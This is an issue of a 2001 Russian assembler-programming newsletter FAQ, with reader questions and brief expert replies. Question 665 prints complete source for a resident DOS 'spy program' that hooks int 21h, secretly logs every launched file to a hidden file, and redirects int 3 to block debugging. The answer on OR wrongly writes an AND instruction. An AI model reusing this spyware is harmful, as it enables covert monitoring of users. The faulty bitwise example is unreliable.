Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Ассемблер? Это просто! Учимся программировать (FAQ)


Служба Рассылок Subscribe.Ru проекта Citycat.Ru

Ассемблер? Это просто! Учимся программировать (FAQ)
______________________________________

Выпуск N 081

Вопросы, которые поступили от подписчиков рассылки
"Ассемблер? Это просто! Учимся программировать"

Дата выхода: 2001-09-01


Вопрос №719

Здравствуйте, уважаемые эксперты!

Нашёл оптимальное (IMHO) решение проблемы с жёстким диском (40 гиг Макстор, моя старая M/B видела только 32). На сайте изготовителя лежит пакет MaxBlast 1.27, который создаёт загрузочную дискету, с которой можно проверить диск, отформатировать и самое главное (для меня) – установить расширитель BIOS’a – EZ-BIOS. И всё остальное без проблем.
И всё очень просто. Сразу никаких проблем с диском на старых BIOS’ах. Все 40 Gb тут как тут. Правда у меня MaxBlast подвисал весьма странным образом. И спасало его, как ни странно, ESC-ESC.

Спасибо ВАМ за поддержку, а BIOS я, наверное, перепрошивать не буду!

Ответ

Здравствуйте, Ворушин Роман!
Успехов тебе и удачи твоему компу!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 31

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №722

Здравствуйте уважаемые эксперты!

У меня такой вопрос.
Только вчера переустановил винду. Сначало все нормально работало. Но сегодня появился такой глюк. Когда я запускаю Internet Explorer, то после закрытия окна само окно закрывается, а задача остается. И когда я запускаю его снова он виснет. С Netscape то же самое. А с Opera такого глюка нет. Раньше у меня уже было такое, помню, что как-то избавился, но не помню как.
Помогите, если кто-то с таким встречался.
Заранее спасибо.
С уважением kit_psihopad.

Ответ

Здравствуйте, kit_psihopad!
Ставь W98 SE Explorer 5.0...directX 7.0ENg


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 33

Экспертная группа: Пользовательская работа с Windows

Вопрос №720

На рефералах, кликах и т.п. Реально заработать???
Вы пробовали??? В России?

Ответ

Здравствуйте, Дмитрий!
Не реально!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 34

Экспертная группа: Пользовательская работа с Windows

Вопрос №713

Внимание народ!!!
Я прошу не путать меня с тем Дроном, который задает вопросы в "Пользовательская работа с Windows" я если и пишу что-то, то не вопросы а утверждения. :))

2BrokenSword: Зачем тебе указывать спецификацию размера, если одним из аргументов является конкретный регистр!!!
Когда указывается конкретный регистр - разночтений здесь не возникает и любой компилятор ассемблера корректно подставляет значения. ведь размер регистра всегда известен.

Все, за сим прощаюсь. :)

Ответ

Здравствуйте, Dron (c)!
Успехов!!!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 41

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №703

Как мне в асмовской проце определить локальные переменные???
Чтобы они могли совпадать с переменноме в главной проге и при этом не былоб ошибок при компиляции???

Ответ

Здравствуйте, Дмитрий!
не встречал такой ...


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 43

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №701

Уважаемые эксперты в ответ на вопрос №699 ОПЯТЬ ошибку допустил, не надо там jmp nextx..nextx:, так что ругайте как хотите, может это мне поможет..

Ответ

Здравствуйте, Orlando!
Ты и так expert- эксперты тоже ошибаются!(даже Broken SWORD)


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 44

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №700

Здраствуйте эксперты!
В 3-м выпуске рассылки Алег показал как переводить шестнадцатиичное число в десятичное.
Как сделать наобарот?
Без использования данной фо-лы:
128 64 32 16 8 4 2 1
0 0 0 0 0 0 0 0
8 4 2 1 8 4 2 1

Ответ

Здравствуйте, Alex!
Подумай...это просто!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 45

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №740

Здравствуйте.
Экспертам.
Рисовал все "вручную" (циклов мало), поэтому прога большая.
Но принцип вот он - см.прогу.
Задаешь смещения xxx и yyy и рисунок сдвигается.

Orlando - на счет видеопамяти пока ничего не соображаю.
Ну может покажете примерчик, а то действительно,
больно долго это все вычерчивается.

И еще, мне кажется, что программа немного некоректна.
Нужно ли в начале вычислять Get video mode, а в конце
восстанавливать?

С уважением Alex12

Ответ

Здравствуйте, Alex12!
Я тут немного переделал твой вариант, убрал макросы ненужные и т.п. Тебя волновал вопрос как его передвинуть куда-то влево-вправо-вверх-вниз??? так ты просто подставь вместо x_coord и y_coord нужные координаты и все. прога писалась наскоро, впопыхах, так что если координаты будут превышать размеры экрана, то никакого квадрата ты не увидишь. Кстати, код можно урезать еще малехо, если придумать, как можна сравнить cx с lenght+coord без bx

Приложение:


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 120

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №698

1. Была реклама, что в PIII есть аппаратный генератор случайных чисел. Может кто знает, как им пользоваться? Наверное, должна быть какая-то команда загрузки случайного значения в AX/EAX, или что-то похожее.
2. Вроде и в чипсете i820 тоже есть аппаратный генератор случайных чисел. Вопрос аналогичный.

Спасибо.

Ответ

Здравствуйте, Евгений!
на самом деле есть книга по командам P3- там она видимо есть!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 47

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №690

Уважаемые эксперты!

Не могу прочесть файл с помощью функции 3Fh.

Посылаю часть кода для exe-файла: две процедуры.
Программа работает не под DOS, а под эмуляцией DOS в Windows98 (может быть причину нужно искать в этом?)


После компиляции (TASM) процедура Read_file иногда работает иногда нет: компилированная программа зависает, "портится" драйвер видео в режиме 24 бита и приходится переустанавливать весь Windows.


..DATA
FileName db 'y.dat',0 ;,'!$'
Buffer equ $
Handle dw 0
.. . .

..CODE

.. . .
Open_file PROC
ini_ds
mov ah,3Dh ; open file: DOS function
mov al,02h ; open for read and write
mov dx,offset FileName
int 21h
jc Error_open_file
mov Handle,ax
ret
Error_open_file:
ret
Open_file ENDP

Read_file PROC
mov bx, Handle
mov ax, 3Fh ; read file: DOS function
mov cx, 10 ; Read length
mov dx, offset Buffer
int 21h
jc Error_read_file
ret
Error_read_file:
ret
Read_file ENDP

.. . .

Спасибо!

Ответ

Здравствуйте, Василь!
Sorry,I have not so time!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 49

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №685

Привет всем!
Доброго времени суток вам.
Итак, вопрос...
После изучения 15 рассылок я решил написатьпрограмму на асме, которая при запускестановилась бы резидентной и если в оболочке нортона или far'a ее запустить, то она должна
перехватить прерывание 1СН и проверять текст находящийся на экране пользователя, и если в на экране есть подряд три буквы ftp, то данная программа должна последнюю букву "р" изменить на букву "р" только на черном фоне и желтым цветом,
но вот проблема почему-то при работе этой програмы на экране какой-нибудь символ отображается не правильно , а так вроде бы все ОК только оптимизировать еще надо.
Помогите все кто может, а то уже 2 дня сижу с этой проблемой и не знаю в чем дело.
Вот исходник
\/\/\/\/\/\/s

Ответ

Здравствуйте, aeron!
I have not so time,sorry!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 52

Экспертная группа: Оптимизация программ

Вопрос №672

Специально для Broken Sword по поводу 667 вопроса - там четко написано - {Tmp,bb - byte; Sum:Word}
И по поводу ответа (честно - просто бред какой-то):
"Sum: longint
Tmp: int"
т.е. предлагается sum делать 32битным, а tmp - 16-и?
зачем? (если не секрет)
P.S. Если Олег читает, то предлагаю ему при рассылки ответов от экспертов непосредственно задавшим вопрос добавлять мыло эксперта. Надеюсь, что понятно почему из самого факта существования этого сообщения.

Ответ

Здравствуйте, Евгений!
Успехов!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 54

Экспертная группа: Оптимизация программ

Вопрос №670

Подскажите пожалуйста, что делать. Не можем установить драйвер для видеокарты на материнке Intel 7120. (родные утеряны). Заходили туда на сайт там есть только 8110, которые не подходят. Раскрыли комп, а в середине видео отдельной платой не идет, вроде бы встроенная. Короче мы немного растерялись.

Ответ

Здравствуйте, Dron!
ixbt.com
listsoft.ru


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 56

Экспертная группа: Пользовательская работа с Windows

Вопрос №669

Я наверно седня уже надоел, но вот еще вопрос, как поправить частоту обновления экрана програмно.
Ответы типа "Щелкни правой кнопкой по раб.столу..." просьба не присылать.
Спасибо.

Ответ

Здравствуйте, Евгений!
А ты что хотел
В advanced properties video- refresh!!!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 57

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №668

Долго выбирал подгруппу - решил сюда
М.б. кто знает - как можно прочитать серийный номер процессора?
Спасибо.
P.S. Если, кто из читателей рассылки смогет, что подсказать - плиз pilot@yrg.kuzbass.net

Ответ

Здравствуйте, Евгений!
я не знаю есть ли эта команда вообще!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 58

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №665

Уважаемые эксперты я бы хотел чтобы вы прокоментировали как можно подробние эту программу.
; === Начало программы: ===
..286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h

Begin:
jmp Init ; на метку инициализации

; === Обработчик 21h-ого прерывания ===
Int_21h_proc proc
cmp ax,9889h
jne Next_step

xchg ah,al
iret

Next_step:
pusha ;Сохраним регистры...
push ds
push es

mov bx,ds ;BX=DS

push cs ;Настроим сегментные регистры
push cs
pop es
pop ds

cmp ax,4B00h ;Это запуск файла на выполнение?
je Start_f

jmp short Go_21h ;Если что-то другое, то передадим управление 21h-ому...

Start_f:
mov si,offset Start_filemess ;Строка для записи в наш log-файл.
call Move_string ;Готовим строку и записываем ее в файл...
jmp short Go_21h ;Передадим управление 21h-ому прерыванию...

Go_21h:
pop es ;Восстановим регистры...
pop ds
popa

jmp dword ptr cs:[0FCh] ;Передаем управление 21h-ому
Int_21h_proc endp

;=== Переносим строку и пишем информацию в файл ===
Move_string proc
mov di,2 ;DS:SI указывают на строку
;ES:DI - на место в памяти, где будет формироваться строка...
lodsw ;Получим длину строки (первый байт строки)
mov cx,ax ;Длину строки в CX
rep movsb ;Переместили строку по адресу ES:DI (Текущий сегмент:0002h)

push ds
mov ds,bx ;DS указывает на сегмент, где находится имя файла
mov si,dx ;SI - на смещение

Next_char:
lodsb ;Получаем очередной символ
or al,al ;Это конец строки с именем файла? Проверка на 0...
jz Zero_found
stosb ;Если еще не конец - заносим его в нашу формирующуюся строку
jmp short Next_char ;Следующий символ...

Zero_found:
pop ds ;Имя файла перенесли! Восстановим DS.

mov ax,0A0Dh ;Добавим возврат каретки/перевод строки.
stosw

dec di
dec di
mov word ptr cs:[0],di ;Занесем по 0-ому смещению длину готовой строки

call Save_file ;Запишем готовую строку в наш log-файл...

ret
Move_string endp


;=== Пишем в файл ===
Save_file proc
call Check_file ;Проверим, существует ли наш log-файл или нет...

mov al,02h ;Открываем файл для чтения/записи
call Open_file

mov ax,4202h ;Устанавливаем указатель на конец файла
xor cx,cx
xor dx,dx
int 3

mov ah,40h ;Функция записи в файл
mov cx,cs:[0] ;Количество записываемых байт
mov dx,2 ;Откуда будем писАть (DS:DX)
int 3

call Close_file ;Закрываем файл...

ret
Save_file endp

;=== Проверяем: существует ли нужный файл ===
Check_file proc
xor al,al ;Пробуем открыть наш log-файл
call Open_file
jnc File_exists ;Если файл существует, то на метку File_exists

; === Атрибуты файла ===
;00001 - только чтение
;00010 - спрятанный
;00100 - системный
;01000 - метка тома
;010000 - подкаталог
;100000 - архивный
mov ah,3Ch ;Если файл не существует, то создадим его.
mov cx,00010b ;Атрибут: архивный, спрятанный
mov dx,offset File_name ;DS:DX указывают на имя файла
int 3
jc Error_create ;Ошибка?..
mov Handle,ax ;Если успешно создали, то запомним номер файла

File_exists:
call Close_file ;Закрываем файл...

Error_create:
ret

File_name db 'C:\gurnal.txt',0 ;Наш log-файл
Check_file endp

;=== Открытие файла ===
Open_file proc
mov dx,offset File_name
mov ah,3Dh
int 3
jc Error_open

mov bx,ax
mov Handle,ax

Error_open:
ret
Handle dw 0FFFFh
Open_file endp

;=== Закрытие файла ===
Close_file proc
pusha
pushf
cmp Handle,0FFFFh ;Нечего закрывать?..
je No_close

mov ah,3Eh
mov bx,Handle
int 3
mov Handle,0FFFFh ;Закрываем и отмечаем, что нет открытых файлов...

No_close:
popa
popf
ret
Close_file endp

;--- Сообщения резидента ---
Start_filemess dw Start_filemessl
db 'Запуск файла ---> '
Start_filemessl equ $-Start_filemess-2

; === Инициализация (подготовка и настройка резидента) ===
Init:
mov ax,9889h ;проверим, в памяти ли мы уже или еще нет
int 21h
cmp ax,8998h
jne Set_resident

mov ah,9 ;если в памяти, то выведем соответствующее сообщение
mov dx,offset In_memory
int 21h

ret ;...и вернемся в DOS

Set_resident: ;если нас в памяти нет, то установим наш резидент
; 21h-ое...
mov ax,3521h
int 21h ;получим и сохраним адрес (вектор) 21h прерывания
mov word ptr cs:[0FCh],bx
mov word ptr cs:[0FEh],es

mov ax,es ;Установим старый вектор 21h-прерывания на 3...
push 0 ;(вырубим отладчик)
pop es
mov es:[3*4],bx
mov es:[3*4+2],ax

mov ax,2521h
mov dx,offset Int_21h_proc
int 3 ;"повесим" нашу процедуру на 21h прерывание

call Check_file ;А есть ли наш log-файл?

mov ah,9
mov dx,offset Mess_hello
int 21h

mov dx,offset Init
int 27h ;оставим программу резидентной в памяти.

In_memory db 'Программа-шпион уже есть в памяти$'

Mess_hello db 'Программа-шпион загружена в память$'

cseg ends
end Begin

И если не сложно сделауте так чтоб в текстовый файл "журнал" записовалась еще и время/дата запускаемого файла.

Ответ

Здравствуйте, fagot!
I have not so time!


Отправил эксперт: Michael
Эксперт отправил ответов (всего): 61

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №742

Уважаемые эксперты, не могли бы мне подробнее рассказать об
логических операторах OR, AND,XOR. Я не понимаю куда приплюсовываются биты при OR и отнимаются при AND.
НАПРИМЕР вот в этих строчках:
mov ax,1010b

or ax,1111b

Теперь AX=1111b. Т.о. мы включили (установили) первые четыре бита.
ПО подробнее об том что ниже:

1 OR 1 = 1 ??????????
1 OR 0 = 1 ?????????
0 OR 0 = 0 ????????

Ответ

Здравствуйте, Speedy Gonsalez!
AND - логическое умножение. Результаты операций:
0,0=0
0,1=0
1,0=0
1,1=1
Т.е. единица в результат ставится только если в обоих битах единица.
Выключать биты можно так:
Предположим, есть AL=00001111b
Нужно выключить нулевой и второй биты.
пишем and al,11111010b
в результате:
arg1 00001111b
arg2 11111010b
resl 00001010b
Т.е. если на месте выключаемых бит первого операнда во втором операнде поставить нули, они обнулятся, т.к. стой в них хоть единица, хоть ноль, в результате будет все равно ноль.

OR - логическое сложение. Результаты операций:
0,0=0
0,1=1
1,0=1
1,1=1
Т.е. ноль в результат ставится только если в обоих битах ноль.
Включать биты можно так:
Предположим, есть AL=00001111b
Нужно выключить пятый и седьмой биты.
пишем and al,01010000b
в результате:
arg1 00001111b
arg2 01010000b
resl 01011111b
Т.е. если на месте включаемых бит первого операнда во втором операнде поставить единицы, они установятся, т.к. стой в них хоть единица, хоть ноль, в результате будет все равно единица.

XOR - логическое исключающее сложение. Результаты операций:
0,0=0
0,1=1
1,0=1
1,1=0
Т.е. единица в результат ставится если только в одном из битов единица. Обычно применяется при шифровании и выявлении неравенств в битовых строках.

Покупай книжку.


Отправил эксперт: DM
Эксперт отправил ответов (всего): 10

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №744

Спасибо Sensey & DM за объяснение темы о логических
операторах.Всё стало понятно!!!
Мой следующи вопрос такой:
Получил часы и минуты в AX, с помощью 02h функции прерывания
1AH. Как теперь вывести содержимое регистра AX на экран?

Ответ

Здравствуйте, Speedy! Вообще-то я на этот вопрос уже отвечал раньше (но порывшись с 50 выпуска FAQ на 68 обламался, так и не нашел, надеюсь, ты тоже предварительно порыл FAQ... ;( ).
Во-первых, ты немного ошибся - в al - час, а минута в cl, секунда - в dl. Допустим, al=23 (11 часов ночи...). Тогда делаешь так:
mov ah,al; ah=al=23h
and al,0Fh; ah=23h,al=03h
shr ah,4; ah=02h,al=03h
or ax,3030h; ah=32h,al=33h, т.е. соотв. ASCII символы
дальше - как твоя фантазия развернется...
у меня почему то дальше
xchg al,ah
int 29h
xchg al,ah
int 29h
фантазия не идет...



Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 121

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №740

Здравствуйте.
Экспертам.
Рисовал все "вручную" (циклов мало), поэтому прога большая.
Но принцип вот он - см.прогу.
Задаешь смещения xxx и yyy и рисунок сдвигается.

Orlando - на счет видеопамяти пока ничего не соображаю.
Ну может покажете примерчик, а то действительно,
больно долго это все вычерчивается.

И еще, мне кажется, что программа немного некоректна.
Нужно ли в начале вычислять Get video mode, а в конце
восстанавливать?

С уважением Alex12

Ответ

Здравствуйте, Alex12!
И это ты называешь большой прогой, даа парень, ты отстал от жизни..

Вот тебе прога, напрямик в видеопамять копирует точки в режиме 640*480, но режим не цветной, хотя должен быть и каждый бит представляет собой точку..

Да и еще, ПОВТОРЯЮ не надо задавать персонально мне вопросы, я больше на такие отвечать НЕ БУДУ..

Приложение:


Отправил эксперт: Orlando
Эксперт отправил ответов (всего): 60

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №744

Спасибо Sensey & DM за объяснение темы о логических
операторах.Всё стало понятно!!!
Мой следующи вопрос такой:
Получил часы и минуты в AX, с помощью 02h функции прерывания
1AH. Как теперь вывести содержимое регистра AX на экран?

Ответ

Здравствуйте, Speedy!
Посмотри предыдущие рассылки там ну очень много инфы на эту тему..
Этот вопрос уже надоел наверное не только мне..


Отправил эксперт: Orlando
Эксперт отправил ответов (всего): 61

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Подписаться на рассылки

Рассылки Subscribe.Ru
Ассемблер? Это просто! Учимся программировать
Ассемблер? Это просто! Учимся программировать (FAQ)

Форма подачи вопроса

ВНИМАНИЕ!!! Пожалуйста, НЕ высылайте один вопрос сразу нескольким подгруппам! Дополнения к вопросам, на которые эксперт уже ответил НЕ следует направлять ведущему рассылки (я не успеваю!). Просто скомбинируйте первый вопрос и дополнение к нему, а затем заново отправьте его, используя приведенную ниже форму!

Нажимайте кнопку "Отправить" только ОДИН раз и дождитесь полной загрузки страницы, иначе вопрос будет продублирован!


Ваше имя *:

Ваш e-mail *:

Подгруппы:

Вопрос *:

Прилагаемая программа (если необходимо):


Регистрация в качестве эксперта

Архив выпусков


Ведущий рассылки,

Калашников Олег: Assembler@Kalashnikoff.ru
ICQ No.:
68951340
URL сайта подписчиков: http://www.Kalashnikoff.ru

______________

По вопросам сотрудничества, рекламы и спонсорства обращайтесь:

  1. Публичное размещение материала из рассылки: Cooperation@Kalashnikoff.ru
  2. Реклама на сайте, в книге и рассылках: http://www.Kalashnikoff.ru/Reklama.html, Reklama@Kalashnikoff.ru
  3. Издание книги (спонсорство): Sponsor@Kalashnikoff.ru

Рассылка 'Ассемблер? Это просто! Учимся программировать (FAQ)' Рассылка 'Ассемблер? Это просто! Учимся программировать'


(C) Москва, 2001. Авторское право принадлежит Калашникову О.А. Публичное размещение материала из рассылки, а также его использование полностью или частично в коммерческих или иных подобных целях без письменного согласия автора влечет ответственность за нарушение авторских прав.


http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу
Рейтингуется SpyLog

В избранное